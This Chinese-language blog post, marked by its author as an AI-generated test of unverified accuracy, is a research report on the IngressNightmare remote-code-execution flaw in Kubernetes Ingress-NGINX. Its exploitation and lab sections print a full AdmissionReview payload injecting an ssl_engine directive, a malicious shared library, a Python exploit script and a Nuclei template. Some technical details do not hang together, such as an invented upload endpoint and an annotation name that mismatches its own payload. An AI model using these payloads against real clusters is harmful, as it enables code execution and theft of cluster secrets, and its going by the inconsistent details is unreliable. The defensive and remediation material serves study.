CVE-2025-1974 (IngressNightmare) 研究报告(AI 生成测试)

注意

本报告由 AI 生成,请注意辨别其中的真实性。如擅自测试文章内容造成一切后果与作者无关!
本文章用途仅作用于展示 AI 生成效果,并不做实际参考价值!

安全研究报告:CVE-2025-1974 (IngressNightmare)

日期: 2025年4月3日
作者: 安全研究团队
分类: 严重漏洞

执行摘要

本报告详细介绍了CVE-2025-1974,也被称为"IngressNightmare",这是Kubernetes Ingress-NGINX Controller中的一个严重漏洞,允许未经身份验证的远程代码执行(RCE)。该漏洞由Wiz Research团队于2024年底发现并于2025年3月公开披露,影响了Kubernetes环境中最广泛使用的ingress控制器之一。其CVSS评分为9.8,代表了一个严重的安全风险,可能导致集群完全被攻破。

该漏洞源于admission controller组件中的不当输入验证,允许攻击者注入任意NGINX配置指令,从而导致代码执行。本报告提供了对该漏洞的详细分析,包括其影响、利用方法、修复步骤,以及设置测试环境以复现和理解该漏洞的说明。

1. 漏洞详情

1.1 概述

  • CVE ID: CVE-2025-1974
  • 漏洞类型: 未经身份验证的远程代码执行
  • CVSS评分: 9.8(严重)- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 受影响组件: Ingress-NGINX Controller Admission Controller
  • 受影响版本:
    • Ingress-NGINX Controller 1.11.x 版本(1.11.5之前)
    • Ingress-NGINX Controller 1.11.0以下版本
  • 修复版本:
    • Ingress-NGINX Controller 1.12.1及更高版本
    • Ingress-NGINX Controller 1.11.5及更高版本
  • 披露日期: 2025年3月24日

1.2 背景

Ingress-NGINX Controller是Kubernetes最流行的ingress控制器之一,在GitHub上拥有超过18,100颗星。它作为Kubernetes生态系统中的关键组件,充当外部流量与Kubernetes集群内部运行的服务之间的网关。

在Kubernetes中,Ingress是一个API对象,用于管理对集群内服务的外部访问,通常通过HTTP/HTTPS。Ingress资源本身如果没有Ingress控制器就无法发挥作用 - Ingress控制器是解释Ingress资源规范并配置实际路由的组件。Ingress-NGINX Controller通过使用NGINX(最广泛使用的反向代理和负载均衡器之一)实现Ingress规范来履行这一角色。

2. 技术分析

2.1 漏洞机制

CVE-2025-1974是Ingress-NGINX Controller的admission controller组件中的一个严重漏洞。admission controller旨在验证传入的ingress对象,确保生成的NGINX配置有效。默认情况下,这些admission controller可以在没有身份验证的情况下通过网络访问,使其成为极具吸引力的攻击向量。

当控制器处理传入的ingress对象时,漏洞发生在验证阶段:

  1. admission controller接收带有特制注解的ingress对象
  2. 在处理这些注解(特别是auth-url注解)时,控制器没有正确地净化输入
  3. 恶意注解值被合并到NGINX配置中
  4. 在使用nginx -t进行验证期间,注入的配置可能导致代码执行

2.2 从配置注入到RCE

从配置注入到远程代码执行的过程利用了NGINX配置验证过程中的弱点:

  1. 最初,研究人员探索了load_module指令,该指令允许从文件系统加载共享库
  2. 由于此指令只能在NGINX配置的开头使用,因此与注入点不兼容
  3. 进一步调查发现了ssl_engine指令,它是OpenSSL模块的一部分,也可以加载共享库
  4. load_module不同,ssl_engine可以在配置文件中的任何位置使用
  5. 通过通过恶意注解注入ssl_engine指令,攻击者可以加载任意共享库

2.3 上传共享库

为了实现完全的RCE,攻击者需要在pod的文件系统上放置一个共享库:

  1. Ingress-NGINX pod还运行NGINX实例本身,监听80或443端口
  2. 通过向该实例发送特制的HTTP请求,攻击者可以利用NGINX的客户端主体缓冲区将恶意共享库上传到文件系统
  3. 一旦共享库被上传并且恶意配置被注入,ssl_engine指令在验证阶段加载该库
  4. 共享库中的代码将以Ingress-NGINX控制器pod的权限执行

3. 影响评估

3.1 严重性

该漏洞的影响之所以严重,有几个原因:

  1. 未经身份验证的访问: 该漏洞可以在没有身份验证的情况下被利用,因为admission controller通常在没有适当身份验证机制的情况下暴露
  2. 远程代码执行: 成功利用导致在Ingress-NGINX控制器pod的上下文中执行任意代码
  3. 权限提升: Ingress-NGINX控制器通常可以访问敏感资源,包括跨命名空间的Kubernetes secrets
  4. 集群攻破: 攻击者可能获得对Kubernetes集群中跨命名空间的所有secrets的访问权限,导致完全接管集群

3.2 受影响组织

运行带有易受攻击版本的Ingress-NGINX Controller的Kubernetes集群的组织面临风险。这包括:

  • 提供托管Kubernetes服务的云服务提供商
  • 在生产环境中运行Kubernetes的企业组织
  • 使用Kubernetes的开发和测试环境
  • 任何部署Ingress-NGINX Controller用于路由外部流量的环境

4. 利用方法

4.1 利用过程

CVE-2025-1974的利用涉及以下步骤:

步骤1:识别易受攻击的集群

攻击者首先识别运行易受攻击版本的Ingress-NGINX Controller的集群。这可以通过以下方式完成:

kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx

然后检查镜像版本以确定它是否易受攻击(1.11.5或1.12.1之前的版本)。

步骤2:制作恶意的Admission Review请求

攻击者创建一个特制的AdmissionReview请求,其中包含带有恶意auth-url注解的ingress对象:

{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
    "kind": {
      "group": "networking.k8s.io",
      "version": "v1",
      "kind": "Ingress"
    },
    "resource": {
      "group": "networking.k8s.io",
      "version": "v1",
      "resource": "ingresses"
    },
    "requestKind": {
      "group": "networking.k8s.io",
      "version": "v1",
      "kind": "Ingress"
    },
    "requestResource": {
      "group": "networking.k8s.io",
      "version": "v1",
      "resource": "ingresses"
    },
    "name": "test-ingress",
    "namespace": "default",
    "operation": "CREATE",
    "userInfo": {

    },
    "object": {
      "kind": "Ingress",
      "apiVersion": "networking.k8s.io/v1",
      "metadata": {
        "name": "test-ingress",
        "namespace": "default",
        "creationTimestamp": null,
        "annotations": {
          "nginx.ingress.kubernetes.io/rewrite-target": "/",
          "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /path/to/shared-library.so;events {\nserver { location /aa { #"
        }
      },
      "spec": {
        "ingressClassName": "nginx",
        "rules": [
          {
            "host": "test.local",
            "http": {
              "paths": [
              ]
            }
          }
        ]
      },
      "status": {
        "loadBalancer": {}
      }
    },
    "oldObject": null,
    "dryRun": true,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  }
}

这个payload的关键部分是auth-url注解,其中包含NGINX配置注入。

步骤3:上传恶意共享库

同时,攻击者需要将恶意共享库上传到pod的文件系统:

  1. 创建包含要执行的代码的恶意共享库(.so文件)
  2. 向同一pod中运行的NGINX实例发送大型HTTP POST请求
  3. 由于其大小,请求主体将被缓冲到磁盘
  4. 然后攻击者可以使用ssl_engine指令引用此文件

步骤4:执行Payload

当admission controller处理恶意ingress对象时,它将:

  1. 生成包含注入指令的NGINX配置
  2. 使用nginx -t验证配置
  3. 在验证期间,ssl_engine指令将加载恶意共享库
  4. 共享库中的代码将以Ingress-NGINX控制器pod的权限执行

4.2 检测方法

组织可以使用以下方法检测利用此漏洞的尝试:

  1. 网络监控: 监控对admission controller端点(通常在8443端口)的可疑请求
  2. 日志分析: 查找Ingress-NGINX控制器日志中与NGINX配置验证相关的异常错误消息
  3. Nuclei模板: 使用提供的Nuclei模板扫描易受攻击的实例:
id: CVE-2025-1974

info:
  name: Ingress-Nginx Controller - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A security issue was discovered in ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-653
    cve-id: CVE-2025-1974
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-{{randstr}}",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {

            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-{{randstr}}",
                "namespace": "default",
                "creationTimestamp": null,
                "annotations": {
        "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "{{randstr}}",
                    "http": {
                      "paths": [
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }

    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'directive is not allowed here'
          - 'load_module'
        condition: and

5. 修复步骤

5.1 立即行动

  1. 更新Ingress-NGINX Controller:

    • 升级到Ingress-NGINX Controller 1.12.1或更高版本
    • 或者,升级到Ingress-NGINX Controller 1.11.5或更高版本
  2. 实施网络策略:

    • 限制对admission controller端点(通常在8443端口)的访问
    • 确保只有Kubernetes API Server可以访问admission controller
  3. 监控利用尝试:

    • 实施检测机制以识别潜在的利用尝试
    • 审查日志中与admission controller相关的可疑活动

5.2 长期缓解措施

  1. 定期更新:

    • 建立定期更新Kubernetes组件(包括ingress控制器)的流程
    • 订阅安全公告,及时了解新漏洞信息
  2. 安全评估:

    • 对Kubernetes集群进行定期安全评估
    • 使用Nuclei等工具扫描已知漏洞
  3. 纵深防御:

    • 实施多层安全控制
    • 遵循所有Kubernetes组件的最小权限原则

6. 设置测试环境

本节提供了设置Kubernetes环境以复现和理解CVE-2025-1974漏洞的说明,用于教育和测试目的。

6.1 先决条件

  • Docker Desktop或等效容器运行时
  • kubectl命令行工具
  • 用于本地Kubernetes集群的Minikube或kind
  • Helm包管理器

6.2 设置Minikube

  1. 安装Minikube:

    # 对于macOS
    brew install minikube
    
    # 对于Linux
    curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
    sudo install minikube-linux-amd64 /usr/local/bin/minikube
    
  2. 启动Minikube:

    minikube start --kubernetes-version=v1.24.0
    
  3. 验证安装:

    kubectl get nodes
    

6.3 安装易受攻击的Ingress-NGINX Controller

  1. 添加Ingress-NGINX Helm仓库:

    helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
    helm repo update
    
  2. 安装易受攻击版本的Ingress-NGINX Controller:

    # 安装1.11.0版本(易受CVE-2025-1974攻击)
    helm install ingress-nginx ingress-nginx/ingress-nginx \
      --version 4.4.0 \
      --namespace ingress-nginx \
      --create-namespace \
      --set controller.image.tag=1.11.0
    
  3. 验证安装:

    kubectl get pods -n ingress-nginx
    
  4. 暴露admission controller:

    kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 8443:443
    

6.4 测试漏洞

  1. 创建恶意共享库(仅用于演示目的):

    // malicious.c
    #include <stdio.h>
    #include <stdlib.h>
    
    __attribute__((constructor))
    void init() {
        system("id > /tmp/pwned");
    }
    
  2. 编译共享库:

    gcc -shared -fPIC -o malicious.so malicious.c
    
  3. 创建脚本上传共享库并发送恶意admission review请求:

    import requests
    import json
    
    # 上传共享库
    with open('malicious.so', 'rb') as f:
        files = {'file': f}
        response = requests.post('http://localhost:8080/upload', files=files)
    
    # 发送恶意admission review请求
    payload = {
      "kind": "AdmissionReview",
      "apiVersion": "admission.k8s.io/v1",
      "request": {
        "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
        "kind": {
          "group": "networking.k8s.io",
          "version": "v1",
          "kind": "Ingress"
        },
        "resource": {
          "group": "networking.k8s.io",
          "version": "v1",
          "resource": "ingresses"
        },
        "requestKind": {
          "group": "networking.k8s.io",
          "version": "v1",
          "kind": "Ingress"
        },
        "requestResource": {
          "group": "networking.k8s.io",
          "version": "v1",
          "resource": "ingresses"
        },
        "name": "test-ingress",
        "namespace": "default",
        "operation": "CREATE",
        "userInfo": {},
        "object": {
          "kind": "Ingress",
          "apiVersion": "networking.k8s.io/v1",
          "metadata": {
            "name": "test-ingress",
            "namespace": "default",
            "creationTimestamp": null,
            "annotations": {
              "nginx.ingress.kubernetes.io/rewrite-target": "/",
              "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /tmp/malicious.so;events {\nserver { location /aa { #"
            }
          },
          "spec": {
            "ingressClassName": "nginx",
            "rules": [
              {
                "host": "test.local",
                "http": {
                  "paths": []
                }
              }
            ]
          },
          "status": {
            "loadBalancer": {}
          }
        },
        "oldObject": null,
        "dryRun": true,
        "options": {
          "kind": "CreateOptions",
          "apiVersion": "meta.k8s.io/v1"
        }
      }
    }
    
    headers = {'Content-Type': 'application/json'}
    response = requests.post('https://localhost:8443', json=payload, headers=headers, verify=False)
    print(response.text)
    
  4. 运行脚本:

    python3 exploit.py
    
  5. 验证利用:

    kubectl exec -it -n ingress-nginx deploy/ingress-nginx-controller -- cat /tmp/pwned
    

6.5 清理

  1. 删除Ingress-NGINX部署:

    helm uninstall ingress-nginx -n ingress-nginx
    
  2. 停止Minikube:

    minikube stop
    

7. 结论

CVE-2025-1974 (IngressNightmare)代表了Kubernetes生态系统中的一个严重安全漏洞,影响了最广泛使用的ingress控制器之一。该漏洞允许未经身份验证的远程代码执行,可能导致集群完全被攻破。

运行带有Ingress-NGINX Controller的Kubernetes集群的组织应立即更新到已修补版本(1.12.1+或1.11.5+),并实施额外的安全控制来保护其环境。定期安全评估和及时修补对于维护Kubernetes部署的安全性至关重要。

本研究报告提供了对该漏洞的全面分析,包括其影响、利用方法、修复步骤,以及设置测试环境的说明。通过了解此漏洞的技术细节,安全团队可以更好地保护其Kubernetes环境免受未来类似威胁的影响。

参考资料

  1. Wiz Research博客:CVE-2025-1974:Kubernetes中的IngressNightmare
  2. ProjectDiscovery博客:IngressNightmare:Ingress NGINX中的未授权RCE
  3. Kubernetes Ingress-NGINX GitHub仓库
  4. CVE-2025-1974 NVD条目
  5. Kubernetes文档:Ingress控制器
posted @ 2025-04-28 07:19  admin-神风  阅读(356)  评论(0)    收藏  举报